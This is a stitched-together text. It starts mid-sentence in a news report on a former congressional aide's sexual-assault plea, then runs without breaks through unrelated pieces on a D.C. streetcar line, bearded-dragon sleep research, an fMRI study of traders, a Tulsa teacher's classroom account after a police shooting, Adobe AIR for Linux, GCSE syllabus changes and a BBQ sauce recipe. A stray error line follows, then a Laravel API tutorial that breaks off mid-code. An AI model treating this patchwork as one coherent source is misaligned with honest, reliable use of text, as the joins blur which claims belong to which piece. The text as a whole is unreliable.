Williams said in the interview. “We were doing real work changing laws to help people immediately.” In his earlier interview, Williams denied that he sexually assaulted the women, saying the relationships were consensual. [Former Democratic congressional aide pleads guilty to sexual assault] “I have slept with a lot of women. But I have never consciously thought about giving anybody a drug who didn’t know they were getting the drug,” Williams said then. Instead, Williams said he decided to plead guilty because, since the attack, he wants to focus on his health, not a trial. And he wants to spend time with his 10-year-old son from his previous marriage. But in court Friday, Williams sounded more remorseful. Standing before the judge, Williams apologized to his victims. He cited feminist author Bell Hooks, quoting from an essay she wrote on black male sexuality in American society. He quoted former senator Robert F. Kennedy speaking about using intimacy to build families. Then he offered his own words. “How easy it is for men to use power to abuse,” Williams said. “Rape is cowardly, shameful and downright evil. I promise, I will protect a woman’s right to her own body.” The woman he assaulted, and her lawyer, declined to comment as they left court.
The D.C. region’s transportation planners often say they want to give travelers more choices. In transit, those options include rapid bus service in dedicated lanes, light-rail lines and streetcars. All the major jurisdictions have such transit projects in various stages of development, but the one likely to appear first is the D.C. streetcar along H Street and Benning Road NE, north of Capitol Hill. The District Department of Transportation’s schedule calls for putting cars on the tracks for testing in the fall. Here’s what to expect as the program works through its last phases of construction and testing. The corridor Parts of the H Street corridor look like an urban movie set where the production crew has set up props so it can shoot exterior scenes. There’s a nice-looking framework for something the neighbors know isn’t there: streetcars. The roadway was rebuilt and the tracks were laid in 2011, but now, nothing runs over them but the rubber tires of cars, buses and trucks. The city did this on purpose, putting in the tracks when it got the money to rebuild the roadway under its Great Streets program, so crews wouldn’t have to tear things up again when the streetcar program was ready to roll. The District’s first active streetcar line in the 21st century will run two miles, from H Street NE just outside Union Station through the busy Atlas District to Benning Road at Oklahoma Avenue. A car driver could cover the ground in about 10 minutes in light traffic. Road work The roadway construction completed in 2011 amounted to about 80 percent of what was necessary to prepare for the streetcars, DDOT says. This month and continuing into June, work will focus on what the project calls the Western Turnaround, at the top of the Hopscotch Bridge over the train tracks north of Union Station. Crews will create a streetcar platform for loading and unloading passengers. In the area, the streetcar will be able to reserve direction for its eastbound trip. I (Eye) Street has been converted from one-way to two-way traffic between Third and Fifth streets. That pattern will continue till October. Other changes were made in the area’s traffic patterns, and parking restrictions were imposed. A similar track installation must be created at the east end of the corridor. Residents and commuters also will notice utility relocations at Third Street, 12th Street and the 23rd to 26th streets zone at the east end. New signals will need to be installed to control the flow of traffic and streetcars. There will be a new traffic signal at 23rd Street. The streetcar signals will be on separate poles at intersections where the streetcars change lanes: Oklahoma Avenue; 23rd to 26th streets; the Starburst intersection where Benning Road and H Street meet Florida and Maryland avenues and Bladensburg Road; and Third Street. Later this spring, an electrical substation to power the streetcars will be installed on the southwest corner of H and 12th streets NE. In one of the final phases of the preparatory work, electrical wires will be hung from new poles along the route. These overhead wires will supply the power to the streetcars. While most of the roadway reconstruction was done during the Great Streets project, some final work will need to be done on the streets and adjacent sidewalks where the new tracks are being installed. Each of these mini-projects will require occasional lane closings along this important east-west route. Testing phase Even if the construction phase remains on schedule, there will be a lot to test and certify before passenger service begins. As the last phases of construction wrap up in early fall, the red, white and yellow streetcars are scheduled to make their appearance along the corridor. The District has three streetcars in storage and three more on order. The streetcar tests will check out the equipment, but they also will help the operators get familiar with the traffic patterns. Other travelers — car drivers, delivery truck drivers, pedestrians and cyclists — also will have a chance to get familiar with the presence of the streetcars. Adding a fixed-rail route to city streets is very different from adding a bus line. When a streetcar encounters an obstacle — human or otherwise — it can’t just go around it. More than a century ago, when the streets of Brooklyn were crisscrossed with such tracks, its pedestrians went through a similar learning phase. Brooklyn’s National League baseball team adopted its nickname to honor the life-sustaining skills of these “trolley dodgers.” DDOT, perhaps hoping the nickname “Nationals” will need no updating, is promising a “robust public information and safety-awareness campaign” before, during and after the launch of streetcar service, which could come late this year. Merchants may need to revise delivery times or use alleys. The city plans to step up enforcement of parking rules. Double-parked cars would be among the obstacles to the streetcar’s progress. Yellow-and-black signs warn cyclists to use caution near the tracks. DDOT suggests they avoid using H Street as a primary cycling route and instead travel along nearby G or I (Eye) streets. The service Two sets of tracks are embedded in concrete strips, one on the north side of the asphalt roadway and one to the south, so streetcars can beheading east or west at the same time. The railways are part of the regular lanes. (And you thought the new L Street bike lane created a travel challenge.) There will be eight stops: Union Station, H and Third streets NE, H and Fifth streets NE, H and Eighth streets NE, H and 13th streets NE, Benning Road and 15th Street NE, Benning Road and 19th Street NE, Benning Road and Oklahoma Avenue NE. The streetcars, built to carry 156 passengers, are eight feet wide, or a bit narrower than local buses. They are six feet longer than an articulated bus, the big, bendy kind that Metrobus operates. Decisions about some key aspects of the service have not been announced. Those include the fares and the hours of operation.
An Australian bearded dragon (Stephan Junek/Max Planck Institute for Brain Research via Reuters) The dragon's eyes twitch under its lids. An electronic monitor hooked up to its brain shows activity spiking across it. Somewhere inside its reptilian subconscious, a dream may be playing out — of enjoying a satisfying meal or relaxing on a sun-baked stone. The dragon is sleeping, scientists say. Not just resting, the way fish and wasps and even amoebas do, but really, truly sleeping, the way humans do. It undergoes rapid eye movement, or REM, sleep. Then it cycles through a phase called slow-wave sleep. And it may even have dreams. The finding comes from a new study of Australian bearded dragons (not fire-breathing ones from fiction, unfortunately), published Thursday in the journal Science. And it suggests that sleep may be more ancient and more widespread than we thought. [48 million-year-old Jesus lizard probably walked on water, scientists say] "The status quo, until our study, was that these features of sleep only exist in mammals and in birds," neuroscientist Gilles Laurent told the Christian Science Monitor. Laurent is the director for the Max Planck Institute for Brain Research in Frankfurt, Germany, and an author on the new paper. Although birds, mammals and reptiles share a common ancestor — birds, being descendants of dinosaurs, are actually more closely related to lizards than they are to us — it was thought that the former two may have evolved their sleep patterns independently, since reptiles didn't seem to share it. But when Laurent and his colleagues hooked their bearded dragons up to a electroencephalogram (EEG), they found that they exhibited the same cycles as their avian and mammalian relatives. During one phase, their brains were as active as if they were awake, their blood pressure rose and their eyes moved rapidly under their lids — that's REM sleep, when dreams are thought to flourish. During the deeper, slow-wave phase, the brain was dominated by low-frequency, high-amplitude waves of electrical activity, interrupted by occasional sharp bursts of neurons firing. In humans, this is thought to be the memory-consolidating portion of sleep. As the researchers note in their paper, the idea that a phenomenon as complex as sleep evolved three different times seems less plausible than the suggestion it came from a common ancestor. The more likely explanation is that sleep as we know it — the complex, many-phased activity that's thought to help rejuvenate our bodies and strengthen our brains — evolved some 320 million years ago with one of our long-dead relatives. [Strange new flying reptile fossils discovered] If that is the case, then the sleep patterns exhibited in bearded dragons could be akin to the ancient, ancestral version. "They are simpler, which is another good correlate of being ancient," Laurent told the Christian Science Monitor. "In general, through evolution things become more complicated." The dragons went through about 350 80-second cycles per night, whereas humans undergo four or five 90-minute ones. Their brain activity during slow-wave sleep was coordinated in a more primitive part of the brain, the dorsal ventricular ridge. In mammals, it occurs in the hippocampus. If reptiles go through REM sleep, does that mean they're also dreaming? It'll take more study — and possibly an interview with a dragon — to definitively say. But Laurent says it's not unlikely. "If you forced me to speculate and to use a loose definition of dreaming, I'd speculate that those dreams are about recent notable events," he told Reuters. "Insects, maybe a place where there are good insects, an aggressive male in the next terrarium, et cetera." "If I were an Australian dragon living in Frankfurt," he added, "I'd be dreaming of a warm day in the sun." Read More: What a year of working the graveyard shift taught me about sleep No, 'science' didn't 'prove' that dogs hate hugs These birds use a linguistic rule thought to be unique to humans Can mammogram-reading pigeons help train human radiologists? An animal behaviorist weighs in. Ravens know when they’re being watched
In the financial world, some shares have new owners every second. Today, much of the buying and selling is done by computers, but many trades still rely on human intuition—the gut feeling of the experienced trader. “Nobody can predict the market, but traders are expected to,” Richard Taffler, professor of finance at the University of Warwick, said. “This creates anxiety.” Anxiety is just one of the emotions that play an important role in driving financial markets. Understanding what happens in the brains of traders as prices move up and down could possibly tell us something about a market’s future developments. In a study published in the Proceedings of the National Academy of Sciences, Alec Smith at the California Institute of Technology and his colleagues conducted group-behavior experiments. They had between 11 and 23 students play multiple rounds of a game that simulated a market situation. For every round of the game, three of the participants were inside a functional magnetic resonance imaging (fMRI) machine, which identified parts of the brain that have increased or decreased activity during the trading. The game started with an asset at an arbitrary value. As the market develops over time, the asset’s price increases. The experiment is setup such that a market bubble always forms and then bursts, causing the asset to return to its initial value in a very short time. Smith and his colleagues found that activity in a brain region called the nucleus accumbens (NA) correlates with the market price—if the price goes up, the NA gets more active. “This brain region was previously associated with emotions, fear, and pleasure,” Smith said. “It makes sense we find this region active.” In the next step, the researchers compared the activity in the high or low earners, in order to determine if any specific brain activity was associated with trading outcome. In this game, low earners buy around peak price, while high earners sell their shares around the same time (presumably, to the low earners). The researchers suspected that this behavior might be associated with activity in the anterior insular cortex, located behind the forehead. The insular cortex is active during bodily discomfort—when you feel pain, anxiety, or disgust. The anterior region is also activated by financial risk. Smith found that, around the time when prices are about to hit the peak (that is, a bubble is starting to form), insular activity increases in high earners but shows no change in low earners. The upshot is, if you could measure the brain activity underlying certain emotions of a successful trader in a critical market situation, you might be able to predict how prices will change. Of course, even successful traders are often wrong during bubbles, so knowing who to stick in an MRI tube would be a challenge. Taffler isn’t sure that this approach would translate to the real world. “It is not clear how we get from undergraduate students, in a confined laboratory environment, without a real potential of loss to a real world market situation,” he said. Instead, the professor proposes that we should observe and learn from behavior and price development in real-world market bubbles to capture the complexity of the market. “It is not clear that you can use the traditional scientific approach to analyze social behavior”, Taffler said. Smith insists the behavioral game is not too much of an abstraction from reality and we can use it learn about the principles of price bubbles and possibly other cases in which human groups badly judge the value of actions or events. In any case, the next step is probably not to connect every Wall Street trader to an fMRI—fMRI scanners are too expensive, even for bankers' deep pockets. PNAS, 2014. DOI: 10.1073/pnas.1318416111 (About DOIs). This article originally appeared at The Conversation.
Attorney Damario Solomon-Simmons, left, comforts Tiffany Crutcher, twin sister of Terence Crutcher, who was shot and killed by Tulsa police last week. At right is the Rev. Joey Crutcher, Terence’s father. (Mike Simons/Tulsa World via AP) Some guest posts don’t need much of an introduction. This is from a teacher in Tulsa who wrote movingly about how she and her class have been trying to handle the death of Terence Crutcher, an unarmed black man who was shot by a police officer last week even though a video shows he had his hands up. The teacher is Rebecca Lee, who works at KIPP Tulsa College Preparatory. She posted the following on Facebook, and she gave me permission to publish it: Today at school, our staff decided we needed to press pause and create a space for kids to share their thoughts and feelings in response to the killing of Mr. Crutcher. I was part of facilitating three small group discussions throughout the day: a fifth grade group, a sixth grade group, and a seventh/eighth grade group. I want to share what I experienced with the kids today, because I am convinced that if you can put yourself in the shoes of a child of color in Tulsa right now, you will have a clearer understanding of the crisis we’re facing and why we say black lives matter. — 1. I look at the wide-eyed faces of the fifth graders surrounding me: 10 and 11 year olds, waiting to hear what I had to say. I tell them we will read a news article about the shooting together so we can all be informed. As I read, the students busily highlight and underline parts that stand out to them: Fatally shot. Hands raised. “Bad dude.” Motionless. Affected forever. I finish and I ask them, “What are your thoughts?” They answer with questions. Why did they have to kill him? Why were they afraid of him? Why does [student] have to live life without a father? What will she do at father daughter dances? Who will walk her down the aisle? Why did no one help him after he was shot? Hasn’t this happened before? Can we write her cards? Can we protest? As the questions roll, so do the tears. Students cry softly as they speak. Others weep openly. I watch 10 year olds pass tissues to each other, to me, to our principal as he joins our circle. One girl closes our group by sharing: “I wish white people could give us a chance. We can all come together and get along. We can all be united.” Let me tell you, these 10 year olds are more articulate about this than I am. We agree to love one another, to take care of one another. I tell each of them that I am white and I love them and they matter to me. 2. The group of sixth grade girls that surround me are either red-eyed or withdrawn. They sit next to Mr. Crutcher’s daughter in class. They are her friends. Nearly every student has a tissue as we read the article together. When I open the floor for discussion: silence. It hurts to talk about. It hurts to think about. It hurts. I fight the urge to fill the dead air with my voice. A few quiet words are whispered about sadness and unfairness, but the rest of the time is spent wiping eyes and hugging one another. It becomes clear that no one else is in a place to speak. I give them the space to process silently. Then I tell them, “We have different skin colors. I love you. You matter. You are worthy. You are human. You are valuable.” Shoulders shake harder around the circle. I realize that this is the first time all year I have affirmed my love for them. The rest of the cafeteria is hushed. The sixth graders are quiet. The tragedy lives and breathes among them. It could have been their father. Boys are scattered across the cafeteria with their heads buried in their shirts. A girl who just moved to Tulsa from New Orleans because her father wanted to “escape the violence” is choked up as she speaks in the group next to mine. When we come back together whole group, one boy is still crying as another rubs his hand on his back soothingly. 3. These students are older — thirteen and fourteen. They are hardened. They are angry. Some students refuse to hold or look at the article. They speak matter-of-factly. One says she feels like punching someone in the nose. Another student says, “I used to read about this happening and think, oh that’s sad, and then kind of forget about it. But this happened so close to home. It feels real now. I take 36th St N to and from school everyday. It happened right by my house.” “What made him ‘a big bad dude?'” a boy asks. “Was it his height? His size–” I look at the boys in my circle, all former students of mine. They have grown inches since their first day in my class. Their voices have deepened. Their shoulders broadened. They all nod their heads in agreement at the student’s last guess– “The color of his skin?” — I share this story, because Mr. Crutcher’s death does not just affect the students at my school. I share this story, because we are creating an identity crisis in all of our black and brown students. (Do I matter? Am I to be feared? Should I live in fear? Am I human?) We are shaping their world view with blood and bullets, hashtags and viral videos. Is this how we want them to feel? Is this how we want them to think? I share this story because I spent the last two years teaching kids that we write to interact with and understand the world, that our voices matter and that our voices deserve to be heard. I share this story, because while I could never capture the articulate things kids said or the raw emotions students shared today, my privilege requires that I speak. I ask that you read. I ask that you use whatever privilege or platform you have to speak. I ask that you put yourself in the shoes of black and brown children growing up in a world where they see videos of their classmate’s father shot and bleeding in the street. I ask that you love and love hard.
Adobe has announced today the public availability of an Adobe AIR alpha release for Linux. Although the alpha is not feature-complete, it is already capable of running some mainstream AIR applications and is robust enough to facilitate AIR development on the Linux platform. Adobe has also officially joined the Linux Foundation and plans to collaborate with the group in an effort to bring rich Internet application and Web 2.0 technologies to the open-source operating system. "Adobe's decision to join the LF is a natural extension of its commitment to open standards and open source, which demonstrates its leadership and foresight in the software industry," said Jim Zemlin, executive director at The Linux Foundation in a statement. "Adobe's membership will contribute to our goal of increasing even more application development on Linux with a specific emphasis on Web 2.0 applications." I've been in Adobe's closed test group for AIR on Linux since the beginning of March and have already conducted extensive testing with the AIR runtime for Linux. The Linux implementation is very good and is clearly designed for effective platform integration. One particularly impressive platform-specific feature is integration between the AIR installer and the system's native package manager. On Ubuntu, where I performed most of my tests, I was able to uninstall AIR applications with Synaptic as if they were standard Linux packages. Package manager integration is significant because it could potentially be used in the future to ensure that AIR applications are consistently updated through the same mechanisms as the rest of the software on the system. Although I haven't tested this feature on other distributions, I'm told by other users that it works seamlessly. The AIR Linux alpha supports some of the runtime's most sophisticated graphical features like shaped windows and transparency. It also supports most of the desktop integration features like drag-and-drop and clipboard support. A strong foundation is in place, but there are still a lot of important features missing like support for badged installation, system tray icons, hardware acceleration, SWF rendering in HTML, and DRM support. Despite the missing pieces, the Linux alpha version of the runtime actually does better than the Mac OS X version in some cases. For instance, the PenguinSteve demo we made for our first look at AIR earlier this month worked fine on Linux after a minor tweak, but doesn't render properly on Mac OS X Leopard. Users who want to try Adobe AIR on Linux for themselves can grab the alpha build from Adobe's web site. An alpha version of the SDK is also available for developers who want to build and test new AIR applications. We tested several popular applications, including the Spaz Twitter client, and found that they performed relatively well. Adobe's commitment to bringing the AIR runtime to Linux could be extremely beneficial for the open-source operating system, especially if Adobe eventually uses AIR to make its own professional graphic editing tools—like Photoshop—fully cross-platform compatible. Native cross-platform runtimes like AIR are part of an increasing trend to tie applications to standards-based web technologies rather than platform-specific proprietary technologies. As this trend becomes more pervasive, it could ease the transition from Windows to Linux for many users. Adobe's willingness to work closely with the Linux Foundation to advance rich Internet application support on Linux is a very promising sign of Adobe's interest in building standards-based technologies, but the proprietary nature of the runtime itself and the Flash player technology it contains will likely deter adoption by Linux developers, who will likely prefer open source alternatives like Mozilla's XULRunner runtime. Further reading
Of Mice and Men, the John Steinbeck novella, is one of a number of American classics that have been axed from new English literature GCSEs after the education secretary insisted students must study British works. Michael Gove’s intervention means three-quarters of the books on the government directed GCSEs, which will be unveiled this week, are by British authors and most are pre-20th century. OCR, one of Britain’s biggest exam boards, said: "Of Mice and Men, which Michael Gove really dislikes, will not be included. It was studied by 90% of teenagers taking English literature GCSE in the past. "Michael Gove said that was a really disappointing statistic." The exam board added: "In the new syllabus 70-80% of the books are from the English canon." However, university professors warned the measures may put off teenagers from studying English literature. Bethan Marshall, senior lecturer in English at King's College, London, and chairwoman of the National Association for the Teaching of English, told the Sunday Times: "It's a syllabus out of the 1940s and rumour has it Michael Gove, who read literature, designed it himself. Schools will be incredibly depressed when they see it. "Kids will be put off doing A-level literature by this. Many teenagers will think that being made to read Dickens aged 16 is just tedious. This will just grind children down." Exam boards were made to follow strict guidelines from the Department for Education when drawing up the new literature GCSE. Teenagers will face exams at the end of two year and will not be able to undertake coursework. From 2015, teenagers taking the OCR English literature exam will have to study a pre-20th-century novel by a British author, poetry by the Romantics, and a Shakespeare play.
Making your own BBQ sauce is easier than one might think and it tastes far superior to anything purchased in the grocery store. There are plenty of recipes online for BBQ sauces but many of them use ketchup as a base ingredient. I decided that I wanted to develop a bbq sauce recipe that used more original ingredients. Earlier this year, I made and posted two recipes: Coca Cola Habanero BBQ Sauce Guinness BBQ Sauce Since then, I have made both of these sauces a number of times. One time when I made the Coca Cola Habanero sauce I actually quadrupled the batch and sealed them in canning jars. They turned out to be a great Father’s Day gift for my dad. I figured that it was about time to develop another recipe using the same base ingredients. If there is one beer that screams summer, it would have to be Corona. This imported beer from Mexico is always a favourite on patios or during BBQs. It is only natural to make a sauce that has a Corona flavour and this recipe is easy to make and is perfect as a sauce, glaze or dip. Lime is the common partner to Corona and it works great in this sauce. The lime juice is used instead of vinegar to provide the acidic element in this BBQ sauce. It is possible to can this sauce in Mason jars. Use 500 ml jars and make sure that they are processed in a hot water bath for 20 minutes. This sauce is great on chicken or steak. Brush some sauce on the meat during the last few minutes on the grill.
ERROR: type should be string, got "https://github.com/mbaljeetsingh/laravel5-jokes-api-with-jwt-and-pagination\n\nLaravel & Angularjs works really well together, if used in a correct way. In this Laravel & Angularjs Series, we will be creating an app where Laravel will be used for creating an API and Angularjs for consuming that API.\n\nThis series is aimed at those, who want to completely separate their frontend and backend. This is the most common use case in hybrid app development using phonegap or ionic framework. So without further due, let’s get started with the Laravel Part.\n\nInstall Laravel & Create New Project\n\nFirst Install Composer By Following this guide. Then, download the Laravel installer using Composer.\n\ncomposer global require \"laravel/installer=~1.1\"\n\nOnce successfully installed, you can type laravel new command to create new Laravel project.\n\nlaravel new project_name\n\nAfter successfully creating the project, make sure your webserver is running (you can use XAMPP, LAMP, MAMP), now go into the project directory and type.\n\nphp artisan serve\n\nNow you can open the following url.\n\nhttp://localhost:8000 And you will see the Laravel front page.\n\nNow we will add a package called Laravel-5-Generators. This Laravel package provides a variety of generators to speed up your development process.\n\nYou can install the generator via composer as:\n\ncomposer require laracasts/generators --dev\n\nNow open the app/Providers/AppServiceProvider.php file and updated the register function as,\n\npublic function register() { if ($this->app->environment() == 'local') { $this->app->register('Laracasts\\Generators\\GeneratorsServiceProvider'); } }\n\nNow run,\n\nphp artisan\n\nYou will see new commands added in the make:* section.\n\nSetup DB, Create Migration & Insert Dummy Data\n\nSetup DB\n\nFirst, rename the .env.example file in the laravel installation root directory to .env\n\nnow open the .env file and change the following:-\n\nDB_HOST=localhost DB_DATABASE= your_database_name DB_USERNAME= your_database_username DB_PASSWORD= your_database_password\n\nCreate Migration\n\nNext step is to create the migration, as the laravel documentation says, Migrations are like version control for your database, allowing a team to easily modify and share the application’s database schema. Open the terminal and type the following command to create the migration.\n\nphp artisan make:migration create_jokes_table\n\nYou can see the created migration in database/migrations folder. Open the migration file and replace it with this code.\n\n<?php use Illuminate\\Database\\Schema\\Blueprint; use Illuminate\\Database\\Migrations\\Migration; class CreateJokesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('jokes', function (Blueprint $table) { $table->increments('id'); $table->text('joke'); $table->integer('user_id'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('jokes'); } }\n\nHere you can see we have added the id, joke, user_id and timestamps fields. Where id is auto incrementing, joke is the body of the joke and user_id will be used for the user who will submit the joke. Here there are two functions one is up and other is down. The down function is the exact opposite of the up and will be used if we want to revert back the migration.\n\nNow run the following command\n\nphp artisan migrate\n\nNow have a look at the database, you can see the new jokes table there. Along with jokes table, laravel creates three other tables namely users, migrations, password_resets.\n\nNow to demonstrate the down function. Let’s say we want to change the joke field with body. What you can do is, change the field in the migration table.\n\npublic function up() { Schema::create('jokes', function (Blueprint $table) { $table->increments('id'); $table->text('body'); $table->integer('user_id'); $table->timestamps(); }); }\n\nNow run the following commands.\n\nphp artisan migrate:rollback php artisan migrate\n\nNow open the database and check the structure and you can see the jokes table joke field renamed to body.\n\nInsert Dummy Data\n\nThe next step is to insert the dummy data that we can use throughout the development process. For inserting dummy data we will use a package called fzaninotto/faker.\n\nFirst we need to install this package,\n\ncomposer require fzaninotto/faker\n\nNow first create a Joke Model by typing:\n\nphp artisan make:model Joke\n\nNow create the seed file which will be used to insert dummy data.\n\nphp artisan make:seed Jokes\n\nYou can see the created seeder file in database/seed folder. Open JokesTableSeeder.php and add the following.\n\n<?php use Illuminate\\Database\\Seeder; use App\\Joke; class JokesTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $faker = Faker\\Factory::create(); foreach(range(1,30) as $index) { Joke::create([ 'body' => $faker->paragraph($nbSentences = 3), 'user_id' =>$faker->numberBetween($min = 1, $max = 5) ]); } } }\n\nAt the top you can see, we have added App\\Joke that makes us available the jokes model and we are using to create new jokes as Joke::create. Here you can see we have used $faker object, it is availabe through package. For the list of all the available functions, you can have a look at their documentation.\n\nNow Create the new seed file for users table as.\n\nphp artisan make:seed UsersTableSeeder\n\nNow open UsersTableSeeder.php and add the following.\n\n<?php use Illuminate\\Database\\Seeder; use App\\User; class UsersTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $faker = Faker\\Factory::create(); foreach(range(1,5) as $index) { User::create([ 'name' => $faker->userName, 'email' =>$faker->email, 'password' =>bcrypt('secret') ]); } } }\n\nHere you can see we have added App\\User at the top, which means we are requiring user model. It is availabe through default laravel install.\n\nThe next step is to open DatabaseSeeder.php and add the created seeder classes.\n\n<?php use Illuminate\\Database\\Seeder; use Illuminate\\Database\\Eloquent\\Model; class DatabaseSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { Model::unguard(); $this->call(JokesTableSeeder::class); $this->call(UsersTableSeeder::class); Model::reguard(); } }\n\nNow before using the seed command we need to do one more thing. Open the Joke Model file. This will be inside app root folder and add the fillable array inside the class as.\n\nprotected $fillable = ['body', 'user_id'];\n\nBy using this we can mass insert values in the database table.\n\nNow the last step is to run the db seed command as.\n\nphp artisan migrate --seed\n\nAfter that you can see the database table with all the dummy entries.\n\nCreating & Testing Routes\n\nIn the last section we successfully created the database, created migration and prepared seeder classes. In this section we will create our routes or api end points which we can hit to get data.\n\nOpen the routes.php file and add the follwing code:\n\nRoute::resource('jokes', 'JokesController');\n\nNow we need to create the JokesController, for this we will use generators like,\n\nphp artisan make:controller JokesController\n\nThis command will create the jokescontroller with all the required methods.\n\nNow run this command:\n\nphp artisan route:list\n\nYou will see output similar to this:\n\nNow we can add the prefix to all these routes as, in the routes.php updates the code as: Route::group([‘prefix’ => ‘api/v1’], function(){ Route::resource(‘jokes’, ‘JokesController’); }); Now your output will look like:\n\nNow open the JokesController.php, add the following at the top,\n\nuse App\\Joke;\n\nNow update the index method as:\n\npublic function index(){ $jokes = Joke::all(); //Not a good idea return $jokes; }\n\nHere we are using the Eloquent ORM, which makes it easy to work with database. If you don’t know about eloquent, have a look at the Eloquent Documentation.\n\nThe Joke::all() will return all the rows from the jokes table.\n\nNow run the server as:\n\nphp artisan serve\n\nand open:\n\nhttp://localhost:8000/api/v1/jokes\n\nYou will see all the records from the jokes table, also it is worth mentioning, the data is casted to json automatically.\n\nNow using the browser is good if you want to test GET request, but if you want to test POST, PUT, PATCH, DELETE request we probably will not use browser for this. So, for that scenario we can use Curl, which is perfectly fine or we can use a utility called POSTMAN which is a chrome extension. That makes it really easy to test all the requests. Let’s see how we can test our api with postman. Install the postman extension and open postman:\n\nHere select the request (GET, POST etc.), enter url and press send, the output is similar to the one we saw in browser but this will prove more useful once we get to other requests.\n\nNow, yes it is a working api but there are some problems with it:\n\nIt is not a good idea to return all the results at once.\n\nWe are showing the exact structure of the table.\n\nWe are sending any error message and response codes.\n\nNow in the following sections, we will work on improving that api.\n\nResponses & Codes\n\nNow let’s add the status codes to the data, the available status codes are:\n\nUpdated the index method in the JokesController.php as follows:\n\npublic function index(){ $jokes = Joke::all(); return Response::json([ 'message' => $jokes ], 400); }\n\nNow open the /api/v1/jokes url in the postman, you can see status returned as 400.\n\nThe 400 is mainly for the bad request, so the status that we probably want to return is 200, so change the code as follows:\n\npublic function index(){ $jokes = Joke::all(); return Response::json([ 'data' => $jokes ], 200); }\n\nNow again hit the endpoint/url in the postman, you can see status returned as 200.\n\nNow let’s implement the route for getting single joke, we can see from php artisan route:list, when we get to api/v1/jokes/{jokes} we are calling the show method and will get single joke.\n\nSo update the show method as follows:\n\npublic function show($id){ $joke = Joke::find($id); if(!$joke){ return Response::json([ 'error' => [ 'message' => 'Joke does not exist' ] ], 404); } return Response::json([ 'data' => $joke ], 200); }\n\nNow try accessing this route, if the joke with specific id not exists we will get the error response and if it exists we will get the 200 response.\n\nIf the joke exists:\n\nIf the joke doesn’t exists:\n\nTransforming Data\n\nAt that point, we can see that, we are returning the exact db table structure, and it is not a good idea, it may be possible we only want to show specific fields and don’t want to show the fields name as in the table. So for this we can transform the data before displaying.\n\nAdd the following two methods at the bottom of the JokesController Class in the JokesController.php,\n\nprivate function transformCollection($jokes){ return array_map([$this, 'transform'], $jokes->toArray()); } private function transform($joke){ return [ 'joke_id' => $joke['id'], 'joke' => $joke['body'] ]; }\n\nNow update the index and show methods as:\n\npublic function index(){ $jokes = Joke::all(); return Response::json([ 'data' => $this->transformCollection($jokes) ], 200); } public function show($id){ $joke = Joke::find($id); if(!$joke){ return Response::json([ 'error' => [ 'message' => 'Joke does not exist' ] ], 404); } return Response::json([ 'data' => $this->transform($joke) ], 200); }\n\nNow again hit the routes and you will see the transformed data.\n\nEloquent Relationships\n\nUsing Eloquent Relationships we can relate two tables.\n\nFirst we need to define the relationship between the two tables users and jokes and then we can join the tables data.\n\nLet’s start by adding a relationship:\n\nopen the User.php model file and add the following method:\n\npublic function jokes(){ return $this->hasMany('App\\Joke'); }\n\nand open the Joke.php model file and ad the following method:\n\npublic function user(){ return $this->belongsTo('App\\User'); }\n\nNow open the JokesController.php and update the show method as follows, before that add the following code at the top:\n\nuse App\\User;\n\nNow update the show method as:\n\npublic function show($id) { $joke = Joke::with( array('User'=>function($query){ $query->select('id','name'); }) )->find($id); if(!$joke){ return Response::json([ 'error' => [ 'message' => 'Joke does not exist' ] ], 404); } // get previous joke id $previous = Joke::where('id', '<', $joke->id)->max('id'); // get next joke id $next = Joke::where('id', '>', $joke->id)->min('id'); return Response::json([ 'previous_joke_id'=> $previous, 'next_joke_id'=> $next, 'data' => $this->transform($joke) ], 200); }\n\nand our updated transform method with look like this:\n\nprivate function transform($joke){ return [ 'joke_id' => $joke['id'], 'joke' => $joke['body'], 'submitted_by' => $joke['user']['name'] ]; }\n\nSo, our updated show method code will look like this, here first we are joining User table data with the jokes tables, also we are finding the previous and next joke and then we are adding them to the response. So our response will now look like this:\n\nWhere submitted_by data is coming from users table after joining.\n\nImplement POST, PUT, DELETE requests\n\nOpen JokesController.php and update the store, update and destroy methods as follows:\n\nFirst add the following code at the top of the file,\n\nuse Illuminate\\Http\\Request;\n\nNow update the following methods:\n\npublic function store(Request $request) { if(! $request->body or ! $request->user_id){ return Response::json([ 'error' => [ 'message' => 'Please Provide Both body and user_id' ] ], 422); } $joke = Joke::create($request->all()); return Response::json([ 'message' => 'Joke Created Succesfully', 'data' => $this->transform($joke) ]); }\n\npublic function update(Request $request, $id) { if(! $request->body or ! $request->user_id){ return Response::json([ 'error' => [ 'message' => 'Please Provide Both body and user_id' ] ], 422); } $joke = Joke::find($id); $joke->body = $request->body; $joke->user_id = $request->user_id; $joke->save(); return Response::json([ 'message' => 'Joke Updated Succesfully' ]); }\n\npublic function destroy($id) { Joke::destroy($id); }\n\nTo test POST request, open postman and send post request as follows:\n\nSimilarly, you can test Update and Delete requests.\n\nPagination\n\nFor pagination, Laravel provides a very simple method called paginate(), let’s see how we can implement pagination. Open JokesController.php and update the index method as follows:\n\npublic function index(){ $jokes = Joke::with( array('User'=>function($query){ $query->select('id','name'); }) )->select('id', 'body', 'user_id')->paginate(5); return Response::json($this->transformCollection($jokes), 200); }\n\nNow access the route, you will see error something like this,\n\nThe problem is now we need to update the transformcollection method in the JokesController.php as:\n\nprivate function transformCollection($jokes){ $jokesArray = $jokes->toArray(); return [ 'total' => $jokesArray['total'], 'per_page' => intval($jokesArray['per_page']), 'current_page' => $jokesArray['current_page'], 'last_page' => $jokesArray['last_page'], 'next_page_url' => $jokesArray['next_page_url'], 'prev_page_url' => $jokesArray['prev_page_url'], 'from' => $jokesArray['from'], 'to' =>$jokesArray['to'], 'data' => array_map([$this, 'transform'], $jokesArray['data']) ]; }\n\nNow go to the route you will see the paginated result, like this.\n\nCurrently, we are hard coding the pagination to 5 elements but we can use query string to specify the no. of elements. The updated index method will look like this:\n\npublic function index(Request $request) { $limit = $request->input('limit')?$request->input('limit'):5; $jokes = Joke::with( array('User'=>function($query){ $query->select('id','name'); }) )->select('id', 'body', 'user_id')->paginate($limit); $jokes->appends(array( 'limit' => $limit )); return Response::json($this->transformCollection($jokes), 200); }\n\nHere we are checking to see, if the limit is present as query string, if yes use that value otherwise the no. of elements are default to 5.\n\nImplementing Search\n\nNow let’s implement the search functionality, update the index method as follows:\n\npublic function index(Request $request) { $search_term = $request->input('search'); 